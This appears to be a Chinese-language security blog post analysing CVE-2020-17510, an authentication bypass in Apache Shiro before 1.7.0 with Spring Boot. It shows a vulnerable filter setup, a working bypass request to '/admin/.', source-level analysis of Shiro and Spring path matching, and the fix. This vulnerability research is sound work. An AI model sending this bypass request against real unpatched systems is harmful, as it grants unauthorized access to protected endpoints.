Shiro CVE-2020-17510 路径绕过

2025-01-22 1 0

漏洞描述

Apache Shiro before 1.7.0, when using Apache Shiro with Spring, a specially crafted HTTP request may cause an authentication bypass.

If you are NOT using Shiro’s Spring Boot Starter (shiro-spring-boot-web-starter), you must configure add the ShiroRequestMappingConfigautoconfiguration to your applicationor configure the equivalent manually. [1]

漏洞条件

  • shiro < 1.7.0

  • springboot > 2.3.0 RELEASE

  • 要使用resful风格的路径

漏洞复现

环境

基础配置

shiro: 1.6.0
spring-boot: 2.7.4

shiro配置:

@Bean
    ShiroFilterFactoryBean getShiroFilterFactoryBean(DefaultWebSecurityManager securityManager) {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        bean.setSecurityManager(securityManager);
        bean.setLoginUrl("/login");
        bean.setSuccessUrl("/loginSuccess");
        bean.setUnauthorizedUrl("/unauthorized");
        LinkedHashMap<String, String> map = new LinkedHashMap<String, String>();
        //url --> filter1,filter2....
        map.put("/print", "authc, perms[printer:print]");
        map.put("/query", "authc, perms[printer:query]");
        map.put("/admin/*", "authc, roles[admin]");  //不可以是"/admin/**"
        map.put("/login","authc");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }

controller:

@GetMapping("/admin/{param}")
    public String adminInfo(@PathVariable String param) {
        if(param == null){
            return "you are admin";
        }
        return "Admin Info: " + param;
    }

测试

payload

GET /admin/. HTTP/1.1
Host: localhost:9090
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

结果:
Shiro CVE-2020-17510 路径绕过插图

漏洞分析

漏洞入口:PathMatchingFilterChainResolver.getChain()

Shiro CVE-2020-17510 路径绕过插图1

源码:

public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) {
        FilterChainManager filterChainManager = getFilterChainManager();
        if (!filterChainManager.hasChains()) {
            return null;
        }
    
		//漏洞点
        String requestURI = getPathWithinApplication(request);
		
     	//去除末尾的 “/”
        if(requestURI != null && !DEFAULT_PATH_SEPARATOR.equals(requestURI)
                && requestURI.endsWith(DEFAULT_PATH_SEPARATOR)) {
            requestURI = requestURI.substring(0, requestURI.length() - 1);
        }
        
        for (String pathPattern : filterChainManager.getChainNames()) {
            //去除末尾的 “/”
            if (pathPattern != null && !DEFAULT_PATH_SEPARATOR.equals(pathPattern)
                    && pathPattern.endsWith(DEFAULT_PATH_SEPARATOR)) {
                pathPattern = pathPattern.substring(0, pathPattern.length() - 1);
            }

            // If the path does match, then pass on to the subclass implementation for specific checks:
            if (pathMatches(pathPattern, requestURI)) {
                if (log.isTraceEnabled()) {
                    log.trace("省略");
                }
                return filterChainManager.proxy(originalChain, pathPattern);
            }
        }

        return null;
    }

进入漏洞点

Shiro CVE-2020-17510 路径绕过插图2

Shiro CVE-2020-17510 路径绕过插图3

末尾多出来的路径不明白的可以看同专辑中的CVE-2020-13933

结果毫无疑问,/amdin匹配到/**

但是"/admin"这个路径对InvalidRequestFilter的核心算法而言是合法的,所以会被shiro放行:

//InvalidRequestFilter::
protected boolean isAccessAllowed(ServletRequest request, ServletResponse response, Object mappedValue) throws Exception {
        String uri = WebUtils.toHttp(request).getRequestURI();
        return !containsSemicolon(uri)
            && !containsBackslash(uri)
            && !containsNonAsciiCharacters(uri);
    }

于是来到spring的路径匹配入口:AbstractHandlerMethodMapping.getHandlerInternal(...)

protected HandlerMethod getHandlerInternal(HttpServletRequest request) throws Exception {
		String lookupPath = initLookupPath(request);
		this.mappingRegistry.acquireReadLock();
		try {
			HandlerMethod handlerMethod = lookupHandlerMethod(lookupPath, request);
			return (handlerMethod != null ? handlerMethod.createWithResolvedBean() : null);
		}
		finally {
			this.mappingRegistry.releaseReadLock();
		}
	}

进入initLookupPath(request):
Shiro CVE-2020-17510 路径绕过插图4

userPathPatterns() 默认为true;

返回:/admin/.

Shiro CVE-2020-17510 路径绕过插图5

由于spring没有像shiro那样对像 带有/./..的路径进行规范化,导致最终匹配到了controller方法:

Shiro CVE-2020-17510 路径绕过插图6

【注意】:点号是必须的:

Shiro CVE-2020-17510 路径绕过插图7

结果测试 spring”/admin/“是匹配 “/admin”的但是不匹配“/admin/{param}”

补充

为什么要 springboot > 2.3.0 :

[2]

主要是因为springboot <= 2.3.0 RELEASE 路径匹配机制与后面版本有所不同。

以下源码全是springboot 2.3.0 RELEASE

函数入口:AbstractHandlerMethodMapping#getHandlerInternal

调试

uri: /admin/.

Shiro CVE-2020-17510 路径绕过插图8

String lookupPath = getUrlPathHelper().getLookupPathForRequest(request);
public String getLookupPathForRequest(HttpServletRequest request) {
		// Always use full path within current servlet context?
    	//分支1
		if (this.alwaysUseFullPath) {
			return getPathWithinApplication(request);
		}
		// Else, use path within current servlet mapping if applicable
    	//分支2
		//一般进入这个分支
		String rest = getPathWithinServletMapping(request);
		if (!"".equals(rest)) {
			return rest;
		}
		else {
			return getPathWithinApplication(request);
		}
	}
  • 第一个分支是正常的:getPathWithinApplication

    public String getPathWithinApplication(HttpServletRequest request) {
    		String contextPath = getContextPath(request);
    		String requestUri = getRequestUri(request);
        	//去除匹配到的部分,返回剩余部分,忽略大小写,从而返回相对路径
    		String path = getRemainingPath(requestUri, contextPath, true);
    		if (path != null) {
    			// Normal case: URI contains context path.
    			return (StringUtils.hasText(path) ? path : "/");
    		}
    		else {
    			return requestUri;
    		}
    	}
    
    public String getRequestUri(HttpServletRequest request) {
    		String uri = (String) request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE);
    		if (uri == null) {
    			uri = request.getRequestURI();
    		}
    		return decodeAndCleanUriString(request, uri);
    	}
    
    private String decodeAndCleanUriString(HttpServletRequest request, String uri) {
    		//先去除分号,
    		uri = removeSemicolonContent(uri);
        	//再解码
    		uri = decodeRequestString(request, uri);
        	//然后将`//`替换成`/` 
    		uri = getSanitizedPath(uri);
    		return uri;
    	}
    
  • 但是第二个分支会出问题:

Shiro CVE-2020-17510 路径绕过插图9

getServletPath()底层调用request.getServletPath(),其会对/../.进行规范化

getRemainingPath(...)是去除匹配的部分,返回其余的部分

当然如果只走第一分支,那该漏洞在springboot <= 2.3.0 RELEASE 也能利用,这需要相关配置使得this.alwaysUseFullPath返回true.

无论是哪个分支对上一个漏洞CVE-2020-13933都没有影响

漏洞修复

springboot > 2.3.0 RELEASE:

protected String initLookupPath(HttpServletRequest request) {
		if (usesPathPatterns()) {
			request.removeAttribute(UrlPathHelper.PATH_ATTRIBUTE);
			RequestPath requestPath = ServletRequestPathUtils.getParsedRequestPath(request);
			String lookupPath = requestPath.pathWithinApplication().value();
			return UrlPathHelper.defaultInstance.removeSemicolonContent(lookupPath);
		}
		else {
            //进入这个分支需要配置才会生效
            //底层与spring 2.3.0 RELEASE一样
			return getUrlPathHelper().resolveAndCacheLookupPath(request);
		}
	}
public String resolveAndCacheLookupPath(HttpServletRequest request) {
    	//与spring <= 2.3.0 RELEASE一样
		String lookupPath = getLookupPathForRequest(request);
		request.setAttribute(PATH_ATTRIBUTE, lookupPath);
		return lookupPath;
	}
public String getLookupPathForRequest(HttpServletRequest request) {
		// Always use full path within current servlet context?
    	//分支1
		if (this.alwaysUseFullPath) {
			return getPathWithinApplication(request);
		}
		// Else, use path within current servlet mapping if applicable
    	//分支2
		//一般进入这个分支
		String rest = getPathWithinServletMapping(request);
		if (!"".equals(rest)) {
			return rest;
		}
		else {
			return getPathWithinApplication(request);
		}
	}

修复:增加了一个类,ShiroUrlPathHelper.java

Shiro CVE-2020-17510 路径绕过插图10

很明显,将路径匹配规则,改成shiro的WebUtils.getPathWithinApplication(request);如此shiro与spring获取到的路径就完全一致了。

【注意】:需要额外配置才能生效(也就是走initLookupPath()中的else分支):

Reference


[1] Security Reports | Apache Shiro

[2]shiro/support/spring/src/main/java/org/apache/shiro/spring/web/config/ShiroRequestMappingConfig.java at shiro-root-1.7.0 · apache/shiro

[3] Shiro 历史漏洞分析 - 先知社区


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

如何使用HASH创建低交互式蜜罐系统
Issabel Authenticated 远程代码执行漏洞(CVE-2024-0986)
Hannibal:一款基于C的x64 Windows代理
CVE-2024-49113漏洞分析
SuperdEye:一款基于纯Go实现的间接系统调用执行工具
分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集

发布评论